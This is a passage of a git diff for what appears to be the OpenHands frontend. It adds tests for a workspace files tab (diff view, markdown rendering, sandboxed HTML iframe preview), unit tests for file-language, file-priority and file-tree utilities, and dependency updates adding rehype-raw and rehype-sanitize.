+ useWorkspaceFileContentMock.mockReset();
+ refetchGitChangesMock.mockReset();
+ // Default: pretend the probe has already resolved with at least one
+ // commit. Individual tests can override this for "empty repo" cases.
+ useHasGitCommitsMock.mockReturnValue({
+ hasCommits: true,
+ isLoading: false,
+ });
+
+ useWorkspaceFilesMock.mockReturnValue({
+ data: ["index.html", "src/main.ts", "README.md"],
+ isLoading: false,
+ });
+ useWorkspaceFileContentMock.mockReturnValue({
+ data: {
+ path: "index.html",
+ kind: "text",
+ text: "<!doctype html><html><body>hello</body></html>",
+ staticUrl:
+ "http://localhost:3000/api/conversations/c1/workspace/index.html",
+ mimeType: "text/html",
+ },
+ isLoading: false,
+ isError: false,
+ });
+ });
+
+ it("defaults to diff view when working inside a git repo", () => {
+ useIsGitRepoMock.mockReturnValue({ isGitRepo: true, isLoading: false });
+
+ renderTab();
+
+ expect(screen.getByTestId("changes-tab-content")).toBeInTheDocument();
+ // The Rich/Plain toggle is hidden when diff view is active.
+ expect(
+ screen.queryByTestId("files-tab-content-mode-toggle"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("defaults to files+rich view in a git repo with zero commits (unborn HEAD)", () => {
+ useIsGitRepoMock.mockReturnValue({ isGitRepo: true, isLoading: false });
+ useHasGitCommitsMock.mockReturnValue({
+ hasCommits: false,
+ isLoading: false,
+ });
+
+ renderTab();
+
+ // Even though it's an attached repo, the diff view is suppressed when
+ // there's nothing to diff against.
+ expect(screen.queryByTestId("changes-tab-content")).not.toBeInTheDocument();
+ expect(
+ screen.getByTestId("files-tab-content-mode-toggle"),
+ ).toBeInTheDocument();
+ });
+
+ it("does NOT probe for commits when there is no attached repo", () => {
+ useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
+
+ renderTab();
+
+ // The hook is still called (so the diff toggle has a value), but it
+ // must be called with enabled: false so we don't shell out to the
+ // workspace pointlessly.
+ expect(useHasGitCommitsMock).toHaveBeenCalledWith({ enabled: false });
+ });
+
+ it("optimistically defaults to diff view while the has-commits probe is still loading", () => {
+ useIsGitRepoMock.mockReturnValue({ isGitRepo: true, isLoading: false });
+ useHasGitCommitsMock.mockReturnValue({
+ hasCommits: null,
+ isLoading: true,
+ });
+
+ renderTab();
+
+ // The common case is a repo with commits, so to avoid a files→diff
+ // flash on initial mount we lean diff-view while loading.
+ expect(screen.getByTestId("changes-tab-content")).toBeInTheDocument();
+ });
+
+ it("defaults to plain file viewer when not in a git repo", () => {
+ useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
+
+ renderTab();
+
+ expect(screen.queryByTestId("changes-tab-content")).not.toBeInTheDocument();
+ // Tree is collapsed by default — user expands via the caret.
+ expect(screen.queryByTestId("files-tab-tree")).not.toBeInTheDocument();
+ expect(
+ screen.getByTestId("files-tab-content-mode-toggle"),
+ ).toBeInTheDocument();
+ });
+
+ it("lets users toggle diff view off even when in a git repo", async () => {
+ useIsGitRepoMock.mockReturnValue({ isGitRepo: true, isLoading: false });
+ const user = userEvent.setup();
+
+ renderTab();
+
+ expect(screen.getByTestId("changes-tab-content")).toBeInTheDocument();
+
+ // Click the "Files" segment of the diff-view toggle.
+ await user.click(screen.getByTestId("files-tab-diff-toggle-option-off"));
+
+ await waitFor(() => {
+ expect(
+ screen.queryByTestId("changes-tab-content"),
+ ).not.toBeInTheDocument();
+ });
+ // Quick-row toggle exists and the file-viewer area is shown.
+ expect(
+ screen.getByTestId("file-quick-row-tree-toggle"),
+ ).toBeInTheDocument();
+ });
+
+ it("auto-selects the highest-priority file on first render", () => {
+ useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
+
+ renderTab();
+
+ // Either index.html (top-priority entrypoint) should be selected.
+ expect(useWorkspaceFileContentMock).toHaveBeenCalledWith("index.html");
+ });
+
+ it("renders the binary fallback in plain mode for binary files", async () => {
+ useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
+ useWorkspaceFileContentMock.mockReturnValue({
+ data: {
+ path: "logo.png",
+ kind: "binary",
+ text: null,
+ staticUrl:
+ "http://localhost:3000/api/conversations/c1/workspace/logo.png",
+ mimeType: "application/octet-stream",
+ },
+ isLoading: false,
+ isError: false,
+ });
+ const user = userEvent.setup();
+
+ renderTab();
+
+ await user.click(
+ screen.getByTestId("files-tab-content-mode-toggle-option-plain"),
+ );
+
+ expect(
+ screen.getByTestId("file-content-viewer-binary-fallback"),
+ ).toBeInTheDocument();
+ });
+
+ it("shows full file paths (not just basenames) as quick-row pills", () => {
+ useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
+
+ renderTab();
+
+ // The pill for src/main.ts should display the full relative path.
+ const pill = screen.getByTestId("file-quick-row-item-src/main.ts");
+ expect(pill).toHaveTextContent("src/main.ts");
+ });
+
+ it("collapses the file tree by default and expands it via the caret", async () => {
+ useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
+ const user = userEvent.setup();
+
+ renderTab();
+
+ // Hidden by default.
+ expect(screen.queryByTestId("files-tab-tree")).not.toBeInTheDocument();
+
+ await user.click(screen.getByTestId("file-quick-row-tree-toggle"));
+ expect(screen.getByTestId("files-tab-tree")).toBeInTheDocument();
+
+ await user.click(screen.getByTestId("file-quick-row-tree-toggle"));
+ expect(screen.queryByTestId("files-tab-tree")).not.toBeInTheDocument();
+ });
+
+ it("renders markdown content via MarkdownRenderer in rich mode", async () => {
+ useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
+ // Only expose a markdown file so it is auto-selected as the first
+ // priority entry.
+ useWorkspaceFilesMock.mockReturnValue({
+ data: ["README.md"],
+ isLoading: false,
+ });
+ useWorkspaceFileContentMock.mockReturnValue({
+ data: {
+ path: "README.md",
+ kind: "text",
+ text: "# Hello\n\nSome **bold** text",
+ staticUrl:
+ "http://localhost:3000/api/conversations/c1/workspace/README.md",
+ mimeType: "text/markdown",
+ },
+ isLoading: false,
+ isError: false,
+ });
+
+ renderTab();
+
+ await waitFor(() => {
+ expect(
+ screen.getByTestId("file-content-viewer-markdown"),
+ ).toBeInTheDocument();
+ });
+
+ // react-markdown turns "# Hello" into an <h1>.
+ expect(
+ screen.getByRole("heading", { level: 1, name: "Hello" }),
+ ).toBeInTheDocument();
+ expect(screen.getByText("bold").tagName.toLowerCase()).toBe("strong");
+ // Markdown rendering uses MarkdownRenderer, not an iframe.
+ expect(
+ screen.queryByTestId("file-content-viewer-iframe"),
+ ).not.toBeInTheDocument();
+
+ // The rich-rendered markdown container must paint the right-pane bg
+ // color (so it blends with the surrounding chrome) and project white
+ // text — both spelled out in the user's design ask.
+ const container = screen.getByTestId("file-content-viewer-markdown");
+ expect(container.className).toContain("bg-[#25272D]");
+ expect(container.className).toContain("text-white");
+ });
+
+ it("shows highlighted source (not rich markdown) when toggled to plain on a .md", async () => {
+ useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
+ useWorkspaceFilesMock.mockReturnValue({
+ data: ["README.md"],
+ isLoading: false,
+ });
+ useWorkspaceFileContentMock.mockReturnValue({
+ data: {
+ path: "README.md",
+ kind: "text",
+ text: "# Hello\n\nSome **bold** text",
+ staticUrl:
+ "http://localhost:3000/api/conversations/c1/workspace/README.md",
+ mimeType: "text/markdown",
+ },
+ isLoading: false,
+ isError: false,
+ });
+ const user = userEvent.setup();
+
+ renderTab();
+
+ // Toggle to plain — markdown source should now be syntax-highlighted
+ // as `markdown`, not rendered.
+ await user.click(
+ screen.getByTestId("files-tab-content-mode-toggle-option-plain"),
+ );
+
+ const highlighted = await screen.findByTestId(
+ "file-content-viewer-highlighted",
+ );
+ expect(highlighted.getAttribute("data-language")).toBe("markdown");
+ // Confirm the rich-rendered <h1> is gone.
+ expect(
+ screen.queryByRole("heading", { level: 1, name: "Hello" }),
+ ).not.toBeInTheDocument();
+ });
+
+ it("uses the static workspace URL as the iframe src for HTML files", async () => {
+ useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
+ useWorkspaceFilesMock.mockReturnValue({
+ data: ["index.html"],
+ isLoading: false,
+ });
+ const staticUrl =
+ "http://localhost:3000/api/conversations/abc/workspace/index.html";
+ useWorkspaceFileContentMock.mockReturnValue({
+ data: {
+ path: "index.html",
+ kind: "text",
+ text: "<!doctype html><body>hi</body>",
+ staticUrl,
+ mimeType: "text/html",
+ },
+ isLoading: false,
+ isError: false,
+ });
+
+ renderTab();
+
+ const iframe = await screen.findByTestId("file-content-viewer-iframe");
+ expect(iframe).toBeInTheDocument();
+ // The iframe src starts with the workspace static URL and carries the
+ // mutation-counter cache-buster (`?v=<n>`) so browser-cached responses
+ // are invalidated whenever the agent edits a file.
+ expect(iframe.getAttribute("src")).toMatch(
+ new RegExp(`^${staticUrl.replace(/[/.]/g, "\\$&")}\\?v=\\d+$`),
+ );
+ // The iframe is sandboxed with `allow-same-origin` only: relative
+ // asset refs (CSS, images) load from the workspace fileserver
+ // origin, but `<script>` / inline event handlers inside the
+ // previewed file are inert. We deliberately do NOT add
+ // `allow-scripts` — a workspace HTML file's scripts must not run in
+ // the canvas's context.
+ expect(iframe).toHaveAttribute("sandbox", "allow-same-origin");
+ });
+
+ it("switches between rich and plain content modes", async () => {
+ useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
+ // Only `src/main.ts` is exposed so it auto-selects (otherwise the
+ // priority sort picks `index.html` first and the assertion below
+ // would see the markup grammar instead).
+ useWorkspaceFilesMock.mockReturnValue({
+ data: ["src/main.ts"],
+ isLoading: false,
+ });
+ useWorkspaceFileContentMock.mockReturnValue({
+ data: {
+ path: "src/main.ts",
+ kind: "text",
+ text: "console.log('hi');",
+ staticUrl:
+ "http://localhost:3000/api/conversations/c1/workspace/src/main.ts",
+ mimeType: "text/plain",
+ },
+ isLoading: false,
+ isError: false,
+ });
+ const user = userEvent.setup();
+
+ renderTab();
+
+ await user.click(
+ screen.getByTestId("files-tab-content-mode-toggle-option-plain"),
+ );
+ // `src/main.ts` resolves to a Prism grammar (`typescript`), so the
+ // plain view is a syntax-highlighted source view rather than a raw
+ // `<pre>`. We assert the highlighted container and its data-language
+ // attribute as a regression guard.
+ const highlighted = await screen.findByTestId(
+ "file-content-viewer-highlighted",
+ );
+ expect(highlighted).toBeInTheDocument();
+ expect(highlighted.getAttribute("data-language")).toBe("typescript");
+ });
+
+ it("shows the refresh button inside the files-tab toolbar and triggers a refetch", async () => {
+ useIsGitRepoMock.mockReturnValue({ isGitRepo: false, isLoading: false });
+ const user = userEvent.setup();
+
+ renderTab();
+
+ const refresh = screen.getByTestId("files-tab-refresh");
+ expect(refresh).toBeInTheDocument();
+ await user.click(refresh);
+ expect(refetchGitChangesMock).toHaveBeenCalledTimes(1);
+ });
+});
diff --git a/__tests__/utils/file-language.test.ts b/__tests__/utils/file-language.test.ts
new file mode 100644
index 0000000000..61cdc6dc59
--- /dev/null
+++ b/__tests__/utils/file-language.test.ts
@@ -0,0 +1,66 @@
+import { describe, it, expect } from "vitest";
+
+import { getPrismLanguageForFile } from "#/utils/file-language";
+
+describe("getPrismLanguageForFile", () => {
+ it("maps common source-code extensions to their Prism grammars", () => {
+ expect(getPrismLanguageForFile("src/index.ts")).toBe("typescript");
+ expect(getPrismLanguageForFile("src/App.tsx")).toBe("tsx");
+ expect(getPrismLanguageForFile("scripts/build.js")).toBe("javascript");
+ expect(getPrismLanguageForFile("main.py")).toBe("python");
+ expect(getPrismLanguageForFile("server.go")).toBe("go");
+ expect(getPrismLanguageForFile("lib/util.rs")).toBe("rust");
+ expect(getPrismLanguageForFile("Cargo.toml")).toBe("toml");
+ });
+
+ it("maps web / markup files to grammars", () => {
+ expect(getPrismLanguageForFile("index.html")).toBe("markup");
+ expect(getPrismLanguageForFile("page.htm")).toBe("markup");
+ expect(getPrismLanguageForFile("logo.svg")).toBe("markup");
+ expect(getPrismLanguageForFile("styles/main.css")).toBe("css");
+ expect(getPrismLanguageForFile("styles/main.scss")).toBe("scss");
+ expect(getPrismLanguageForFile("README.md")).toBe("markdown");
+ expect(getPrismLanguageForFile("docs/guide.mdx")).toBe("markdown");
+ });
+
+ it("recognizes well-known no-extension filenames", () => {
+ expect(getPrismLanguageForFile("Dockerfile")).toBe("docker");
+ expect(getPrismLanguageForFile("path/to/Dockerfile")).toBe("docker");
+ expect(getPrismLanguageForFile("Makefile")).toBe("makefile");
+ expect(getPrismLanguageForFile(".bashrc")).toBe("bash");
+ expect(getPrismLanguageForFile(".gitignore")).toBe("bash");
+ });
+
+ it("is case-insensitive on the extension", () => {
+ expect(getPrismLanguageForFile("README.MD")).toBe("markdown");
+ expect(getPrismLanguageForFile("Util.PY")).toBe("python");
+ });
+
+ it("falls back on mime type when no extension matches", () => {
+ expect(
+ getPrismLanguageForFile("LICENSE", "text/markdown"),
+ ).toBe("markdown");
+ expect(
+ getPrismLanguageForFile("data", "application/json"),
+ ).toBe("json");
+ expect(
+ getPrismLanguageForFile("config", "text/yaml"),
+ ).toBe("yaml");
+ });
+
+ it("returns null for unknown extensions and unknown mime types", () => {
+ // No extension, no mime type, no known basename → bail out so the
+ // caller can render a raw <pre>.
+ expect(getPrismLanguageForFile("LICENSE")).toBeNull();
+ expect(getPrismLanguageForFile("data.xyz")).toBeNull();
+ expect(
+ getPrismLanguageForFile("data.bin", "application/octet-stream"),
+ ).toBeNull();
+ });
+
+ it("does not confuse a dot-prefix file with an extension", () => {
+ // `.env` is a basename, not "extension = env".
+ expect(getPrismLanguageForFile(".env")).toBe("bash");
+ expect(getPrismLanguageForFile(".dockerignore")).toBe("bash");
+ });
+});
diff --git a/__tests__/utils/file-priority.test.ts b/__tests__/utils/file-priority.test.ts
new file mode 100644
index 0000000000..551f2442db
--- /dev/null
+++ b/__tests__/utils/file-priority.test.ts
@@ -0,0 +1,72 @@
+import { describe, it, expect } from "vitest";
+
+import {
+ sortFilesByPriority,
+ filePriorityScore,
+} from "#/utils/file-priority";
+
+describe("file-priority", () => {
+ it("places index.html before other files", () => {
+ const sorted = sortFilesByPriority([
+ "src/utils/helpers.ts",
+ "src/index.html",
+ "src/components/widget.tsx",
+ ]);
+ expect(sorted[0]).toBe("src/index.html");
+ });
+
+ it("places README.md before generic source files", () => {
+ const sorted = sortFilesByPriority([
+ "src/components/widget.tsx",
+ "README.md",
+ "src/utils/helpers.ts",
+ ]);
+ expect(sorted[0]).toBe("README.md");
+ });
+
+ it("prefers top-level index.html over a nested one", () => {
+ const sorted = sortFilesByPriority([
+ "src/nested/index.html",
+ "index.html",
+ ]);
+ expect(sorted[0]).toBe("index.html");
+ expect(sorted[1]).toBe("src/nested/index.html");
+ });
+
+ it("prefers a shallower path even when the deeper one is more 'important'", () => {
+ // README.md (depth 0) outranks foo/bar/index.html (depth 2) despite
+ // index.html being a higher-priority basename — the user almost always
+ // cares more about top-level files first.
+ const sorted = sortFilesByPriority(["foo/bar/index.html", "README.md"]);
+ expect(sorted[0]).toBe("README.md");
+ expect(sorted[1]).toBe("foo/bar/index.html");
+ });
+
+ it("ranks index.html above README.md at the same depth", () => {
+ const sorted = sortFilesByPriority(["README.md", "index.html"]);
+ expect(sorted[0]).toBe("index.html");
+ expect(sorted[1]).toBe("README.md");
+ });
+
+ it("falls back to alphabetical order for unimportant files", () => {
+ const sorted = sortFilesByPriority([
+ "src/zeta.ts",
+ "src/alpha.ts",
+ "src/mu.ts",
+ ]);
+ expect(sorted).toEqual(["src/alpha.ts", "src/mu.ts", "src/zeta.ts"]);
+ });
+
+ it("scores high-priority basenames lower than generic files", () => {
+ expect(filePriorityScore("package.json")).toBeLessThan(
+ filePriorityScore("src/some-helper.ts"),
+ );
+ });
+
+ it("does not mutate the input array", () => {
+ const input = ["b.ts", "a.ts"];
+ const original = [...input];
+ sortFilesByPriority(input);
+ expect(input).toEqual(original);
+ });
+});
diff --git a/__tests__/utils/file-tree.test.ts b/__tests__/utils/file-tree.test.ts
new file mode 100644
index 0000000000..ea573f0e5d
--- /dev/null
+++ b/__tests__/utils/file-tree.test.ts
@@ -0,0 +1,74 @@
+import { describe, it, expect } from "vitest";
+
+import { buildFileTree } from "#/utils/file-tree";
+
+describe("buildFileTree", () => {
+ it("builds a nested tree from flat paths", () => {
+ const root = buildFileTree([
+ "src/a.ts",
+ "src/sub/b.ts",
+ "README.md",
+ ]);
+
+ expect(root.children.map((c) => c.name)).toEqual(["src", "README.md"]);
+
+ const srcDir = root.children.find((c) => c.name === "src");
+ expect(srcDir?.isDirectory).toBe(true);
+ expect(srcDir?.children.map((c) => c.name)).toEqual(["sub", "a.ts"]);
+
+ const readme = root.children.find((c) => c.name === "README.md");
+ expect(readme?.isDirectory).toBe(false);
+ expect(readme?.path).toBe("README.md");
+ });
+
+ it("sorts directories before files at every level", () => {
+ const root = buildFileTree([
+ "z-file.ts",
+ "dir/inner.ts",
+ "a-file.ts",
+ ]);
+ const names = root.children.map((c) => c.name);
+ expect(names).toEqual(["dir", "a-file.ts", "z-file.ts"]);
+ });
+
+ it("does not duplicate directory nodes when many files share a directory", () => {
+ const root = buildFileTree([
+ "src/a.ts",
+ "src/b.ts",
+ "src/c.ts",
+ ]);
+ expect(root.children).toHaveLength(1);
+ expect(root.children[0].children).toHaveLength(3);
+ });
+
+ it("returns an empty tree when given no paths", () => {
+ const root = buildFileTree([]);
+ expect(root.children).toEqual([]);
+ });
+
+ it("promotes a previously-leaf node to a directory when a deeper path needs it", () => {
+ // Regression test: feeding the builder a flat list that contains both
+ // `src` (treated as a file by virtue of having no further segments)
+ // and `src/index.ts` used to silently drop `index.ts` because the
+ // `src` node had `isDirectory: false` and we never descended into
+ // it. The builder now promotes the leaf to a directory.
+ const root = buildFileTree(["src", "src/index.ts"]);
+
+ const srcNode = root.children.find((c) => c.name === "src");
+ expect(srcNode).toBeDefined();
+ expect(srcNode?.isDirectory).toBe(true);
+ expect(srcNode?.children.map((c) => c.name)).toEqual(["index.ts"]);
+ });
+
+ it("handles very wide directories efficiently (regression: O(n) lookup)", () => {
+ // Just a smoke test — with the old O(n²) `find` lookup, building a
+ // tree of 5000 siblings took noticeably long. We don't time the
+ // call (flaky in CI); we just exercise the path to make sure the
+ // builder doesn't blow up and produces the right shape.
+ const paths = Array.from({ length: 5000 }, (_, i) => `pkg/file_${i}.ts`);
+ const root = buildFileTree(paths);
+ expect(root.children).toHaveLength(1);
+ expect(root.children[0].name).toBe("pkg");
+ expect(root.children[0].children).toHaveLength(5000);
+ });
+});
diff --git a/package-lock.json b/package-lock.json
index bfd00e9ab3..2847542f67 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -12,7 +12,7 @@
"@heroui/react": "2.8.10",
"@microlink/react-json-view": "1.31.19",
"@monaco-editor/react": "4.7.0",
- "@openhands/typescript-client": "github:OpenHands/typescript-client#6b9603f06ea0ecc9bc715bf2192e274c23cd3be6",
+ "@openhands/typescript-client": "github:OpenHands/typescript-client#ef62e82fc3dfb03991a1c8025429caf354427263",
"@react-router/node": "7.14.2",
"@react-router/serve": "7.14.2",
"@tailwindcss/vite": "4.2.4",
@@ -41,6 +41,8 @@
"react-markdown": "10.1.0",
"react-router": "7.14.2",
"react-syntax-highlighter": "16.1.1",
+ "rehype-raw": "7.0.0",
+ "rehype-sanitize": "6.0.0",
"remark-breaks": "4.0.0",
"remark-gfm": "4.0.1",
"sirv-cli": "3.0.1",
@@ -3399,8 +3401,8 @@
},
"node_modules/@openhands/typescript-client": {
"version": "0.1.1",
- "resolved": "git+ssh://[email protected]/OpenHands/typescript-client.git#6b9603f06ea0ecc9bc715bf2192e274c23cd3be6",
- "integrity": "sha512-nna6lSh557v+ovhGESlCHz1X6rMmnFKrJF9n2L1Q8YeHb911Vmmxyk7bNKJQNqDsP/jVajzO8DLhNlgYX0nTvA==",
+ "resolved": "git+ssh://[email protected]/OpenHands/typescript-client.git#ef62e82fc3dfb03991a1c8025429caf354427263",
+ "integrity": "sha512-Xf/qAgdXAhOLvEg6kxpYrXj2UWUhqQwWDLGOmUqMK8pY5MJCCLthArPYu5TGxJAmf5YWa3oFLadn67NE4RSFQg==",
"license": "MIT",
"dependencies": {
"@openrouter/sdk": "^0.12.25",
@@ -11304,6 +11306,26 @@
"node": ">= 0.4"
}
},
+ "node_modules/hast-util-from-parse5": {
+ "version": "8.0.3",
+ "resolved": "https://registry.npmjs.org/hast-util-from-parse5/-/hast-util-from-parse5-8.0.3.tgz",
+ "integrity": "sha512-3kxEVkEKt0zvcZ3hCRYI8rqrgwtlIOFMWkbclACvjlDw8Li9S2hk/d51OI0nr/gIpdMHNepwgOKqZ/sy0Clpyg==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "@types/unist": "^3.0.0",
+ "devlop": "^1.0.0",
+ "hastscript": "^9.0.0",
+ "property-information": "^7.0.0",
+ "vfile": "^6.0.0",
+ "vfile-location": "^5.0.0",
+ "web-namespaces": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
"node_modules/hast-util-parse-selector": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/hast-util-parse-selector/-/hast-util-parse-selector-4.0.0.tgz",
@@ -11317,6 +11339,70 @@
"url": "https://opencollective.com/unified"
}
},
+ "node_modules/hast-util-raw": {
+ "version": "9.1.0",
+ "resolved": "https://registry.npmjs.org/hast-util-raw/-/hast-util-raw-9.1.0.tgz",
+ "integrity": "sha512-Y8/SBAHkZGoNkpzqqfCldijcuUKh7/su31kEBp67cFY09Wy0mTRgtsLYsiIxMJxlu0f6AA5SUTbDR8K0rxnbUw==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "@types/unist": "^3.0.0",
+ "@ungap/structured-clone": "^1.0.0",
+ "hast-util-from-parse5": "^8.0.0",
+ "hast-util-to-parse5": "^8.0.0",
+ "html-void-elements": "^3.0.0",
+ "mdast-util-to-hast": "^13.0.0",
+ "parse5": "^7.0.0",
+ "unist-util-position": "^5.0.0",
+ "unist-util-visit": "^5.0.0",
+ "vfile": "^6.0.0",
+ "web-namespaces": "^2.0.0",
+ "zwitch": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/hast-util-raw/node_modules/entities": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz",
+ "integrity": "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==",
+ "license": "BSD-2-Clause",
+ "engines": {
+ "node": ">=0.12"
+ },
+ "funding": {
+ "url": "https://github.com/fb55/entities?sponsor=1"
+ }
+ },
+ "node_modules/hast-util-raw/node_modules/parse5": {
+ "version": "7.3.0",
+ "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz",
+ "integrity": "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==",
+ "license": "MIT",
+ "dependencies": {
+ "entities": "^6.0.0"
+ },
+ "funding": {
+ "url": "https://github.com/inikulin/parse5?sponsor=1"
+ }
+ },
+ "node_modules/hast-util-sanitize": {
+ "version": "5.0.2",
+ "resolved": "https://registry.npmjs.org/hast-util-sanitize/-/hast-util-sanitize-5.0.2.tgz",
+ "integrity": "sha512-3yTWghByc50aGS7JlGhk61SPenfE/p1oaFeNwkOOyrscaOkMGrcW9+Cy/QAIOBpZxP1yqDIzFMR0+Np0i0+usg==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "@ungap/structured-clone": "^1.0.0",
+ "unist-util-position": "^5.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
"node_modules/hast-util-to-jsx-runtime": {
"version": "2.3.6",
"resolved": "https://registry.npmjs.org/hast-util-to-jsx-runtime/-/hast-util-to-jsx-runtime-2.3.6.tgz",
@@ -11344,6 +11430,25 @@
"url": "https://opencollective.com/unified"
}
},
+ "node_modules/hast-util-to-parse5": {
+ "version": "8.0.1",
+ "resolved": "https://registry.npmjs.org/hast-util-to-parse5/-/hast-util-to-parse5-8.0.1.tgz",
+ "integrity": "sha512-MlWT6Pjt4CG9lFCjiz4BH7l9wmrMkfkJYCxFwKQic8+RTZgWPuWxwAfjJElsXkex7DJjfSJsQIt931ilUgmwdA==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "comma-separated-tokens": "^2.0.0",
+ "devlop": "^1.0.0",
+ "property-information": "^7.0.0",
+ "space-separated-tokens": "^2.0.0",
+ "web-namespaces": "^2.0.0",
+ "zwitch": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
"node_modules/hast-util-whitespace": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/hast-util-whitespace/-/hast-util-whitespace-3.0.0.tgz",
@@ -11456,6 +11561,16 @@
"url": "https://opencollective.com/unified"
}
},
+ "node_modules/html-void-elements": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/html-void-elements/-/html-void-elements-3.0.0.tgz",
+ "integrity": "sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
"node_modules/http-errors": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz",
@@ -15645,6 +15760,35 @@
"url": "https://github.com/sponsors/ljharb"
}
},
+ "node_modules/rehype-raw": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/rehype-raw/-/rehype-raw-7.0.0.tgz",
+ "integrity": "sha512-/aE8hCfKlQeA8LmyeyQvQF3eBiLRGNlfBJEvWH7ivp9sBqs7TNqBL5X3v157rM4IFETqDnIOO+z5M/biZbo9Ww==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "hast-util-raw": "^9.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/rehype-sanitize": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/rehype-sanitize/-/rehype-sanitize-6.0.0.tgz",
+ "integrity": "sha512-CsnhKNsyI8Tub6L4sm5ZFsme4puGfc6pYylvXo1AeqaGbjOYyzNv3qZPwvs0oMJ39eryyeOdmxwUIo94IpEhqg==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "hast-util-sanitize": "^5.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
"node_modules/remark-breaks": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/remark-breaks/-/remark-breaks-4.0.0.tgz",
@@ -17579,6 +17723,20 @@
"url": "https://opencollective.com/unified"
}
},
+ "node_modules/vfile-location": {
+ "version": "5.0.3",
+ "resolved": "https://registry.npmjs.org/vfile-location/-/vfile-location-5.0.3.tgz",
+ "integrity": "sha512-5yXvWDEgqeiYiBe1lbxYF7UMAIm/IcopxMHrMQDq3nvKcjPKIhZklUKL+AE7J7uApI4kwe2snsK+eI6UTj9EHg==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "^3.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
"node_modules/vfile-message": {
"version": "4.0.3",
"resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-4.0.3.tgz",
@@ -17945,6 +18103,16 @@
"node": ">=18"
}
},
+ "node_modules/web-namespaces": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/web-namespaces/-/web-namespaces-2.0.1.tgz",
+ "integrity": "sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
"node_modules/web-vitals": {
"version": "5.2.0",
"resolved": "https://registry.npmjs.org/web-vitals/-/web-vitals-5.2.0.tgz",
diff --git a/package.json b/package.json
index 305235ac54..c4fb0a12d0 100644
--- a/package.json
+++ b/package.json
@@ -11,7 +11,7 @@
"@heroui/react": "2.8.10",
"@microlink/react-json-view": "1.31.19",
"@monaco-editor/react": "4.7.0",
- "@openhands/typescript-client": "github:OpenHands/typescript-client#6b9603f06ea0ecc9bc715bf2192e274c23cd3be6",
+ "@openhands/typescript-client": "github:OpenHands/typescript-client#ef62e82fc3dfb03991a1c8025429caf354427263",
"@react-router/node": "7.14.2",
"@react-router/serve": "7.14.2",
"@tailwindcss/vite": "4.2.4",
@@ -40,6 +40,8 @@
"react-markdown": "10.1.0",
"react-router": "7.14.2",
"react-syntax-highlighter": "16.1.1",
+ "rehype-raw": "7.0.0",
+ "rehype-sanitize": "6.0.0",
"remark-breaks": "4.0.0",
"remark-gfm": "4.0.1",
"sirv-cli": "3.0.1",
diff --git a/src/components/features/conversation/conversation-tabs/conversation-tab-content/conversation-tab-content.tsx b/src/components/features/conversation/conversation-tabs/conversation-tab-content/conversation-tab-content.tsx
index 993cd8d77a..c88a7c0e57 100644
